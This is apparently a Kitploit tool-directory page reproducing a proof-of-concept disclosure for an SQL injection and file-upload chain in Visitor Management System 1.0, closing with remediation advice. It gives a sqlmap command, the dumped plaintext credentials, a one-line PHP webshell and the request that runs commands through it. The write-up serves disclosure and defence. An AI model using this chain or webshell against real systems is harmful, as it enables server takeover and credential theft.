Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10170-RCE — Proof-of-concept demonstrating SQL injection and unrestricted file upload chained to achieve remote code execution in Visitor Management System 1.0, including step-by-step exploitation and remediation guidance. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10170-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Proof-of-concept demonstrating SQL injection and unrestricted file upload chained to achieve remote code execution in Visitor Management System 1.0, including step-by-step exploitation and remediation guidance.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Visitor Management System 1.0 - SQLi to Remote Code Execution (Attack Chain)

Vulnerability Information

FieldDetails
ProductVisitor Management System
Vendorcode-projects.org
Version1.0
Vulnerability ClassesSQL Injection (CWE-89) + Unrestricted File Upload (CWE-434)
CVE IDPending
CVSS Score9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Authentication RequiredLow privilege (guard account) as entry point
Affected Files/vms/php/pass.php, /vms/php/admin_user_0.php
Vulnerable Parameterphone (POST)

Description

The Visitor Management System 1.0 by code-projects.org is vulnerable to a critical attack chain combining SQL Injection and Unrestricted File Upload leading to Remote Code Execution.

An attacker with low-privilege access (guard account) can exploit a SQL injection vulnerability in pass.php via the phone POST parameter to dump the entire database — including plaintext admin credentials. Using the extracted credentials to authenticate as admin, the attacker can then upload a PHP webshell through the Admin User management panel (admin_user_0.php), which performs no file type or extension validation. The uploaded webshell is stored in a web-accessible directory and can be executed directly via URL, resulting in full Remote Code Execution on the server.

Additionally, passwords are stored in plaintext in the database, meaning no cracking step is required after the SQLi dump.


Attack Chain Overview

root@kitploit:~
Low-priv guard login
        ↓
SQL Injection in pass.php (phone parameter)
        ↓
sqlmap dump → plaintext admin credentials extracted
        ↓
Login as admin (sanjay1:7861)
        ↓
Unrestricted file upload in admin_user_0.php
        ↓
PHP webshell uploaded to /vms/php/folder/
        ↓
RCE via ?cmd=whoami → full server compromise

Step-by-Step Proof of Concept

Step 1 — Login as Low Privilege User (Guard)

Navigate to the VMS application and login with guard credentials. After login, navigate to the Phone Number page:

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

Step 2 — Confirm SQL Injection in pass.php

Submit a single quote ' as the phone number value. The application throws a fatal MariaDB error exposing the raw query and file path:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

Affected file: pass.php line 9
Vulnerable parameter: phone (POST)

Screenshot 2026-05-05 034215

sql error Screenshot 2026-05-05 034228


Step 3 — Exploit SQLi with sqlmap

Save the Burp Suite captured request to a file (sqli.txt) and run sqlmap:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmap successfully dumps the login_user table from the vms database, revealing plaintext credentials for all users:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

Note: Passwords are stored in plaintext — no hash cracking required.

Screenshot 2026-05-05 034316

Step 4 — Login as Admin

Using the extracted admin credentials, login to the admin panel:

root@kitploit:~
Username: sanjay1
Password: 7861

The full admin dashboard is now accessible including Employee, Department, Admin User, and Report management.

Screenshot 2026-05-05 034353

Step 5 — Upload PHP Webshell via Admin User Panel

Navigate to the Admin User management page:

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

The page contains a file upload field for a profile image. The application performs no file type validation, no extension filtering, and no MIME type checking.

Fill in the form with any values and upload the following PHP webshell as the image file (web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

Step 6 — Confirm Webshell Upload

Navigate to the Admin User display page:

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

The newly created admin account is visible in the table. The uploaded webshell is stored at:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

Step 7 — Remote Code Execution

Execute arbitrary system commands via the webshell:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

Result: The server returns the current system user confirming full Remote Code Execution:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

Impact

  • Full database compromise — all tables dumped via SQLi including plaintext credentials
  • Admin account takeover — plaintext passwords require no cracking
  • Remote Code Execution — arbitrary OS commands executed as the web server user
  • Full server compromise — complete control over the underlying host
  • Plaintext password storage — amplifies the SQLi impact, credentials immediately usable

Affected Files Summary

FileVulnerability
/vms/php/pass.phpSQL Injection via phone POST parameter
/vms/php/admin_user_0.phpUnrestricted File Upload — no extension or MIME validation
/vms/php/folder/Webshell storage directory — web accessible, no restrictions

Remediation

For SQL Injection:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

For File Upload:

  • Whitelist allowed extensions (jpg, png, gif only)
  • Validate MIME type server-side
  • Store uploads outside the webroot
  • Rename uploaded files to random strings

For Password Storage:

  • Use password_hash() and password_verify() — never store plaintext

References

  • Vendor Homepage
  • CWE-89: SQL Injection
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • OWASP File Upload Cheat Sheet

Discoverer

  • Researcher: Imad Alvi
  • VulDB: imad alvi
Download Tool